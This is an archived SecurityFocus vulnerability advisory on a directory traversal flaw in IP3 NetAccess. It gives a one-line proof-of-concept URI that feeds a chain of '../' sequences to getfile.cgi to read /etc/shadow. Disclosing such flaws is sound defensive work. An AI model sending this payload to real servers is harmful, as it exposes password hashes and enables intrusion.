Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

IP3 NetAccess Directory Traversal Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://example.com/portalgroups/portalgroups/getfile.cgi?filename=../../../../../../../../etc/shadow







 

Privacy Statement
Copyright 2009, SecurityFocus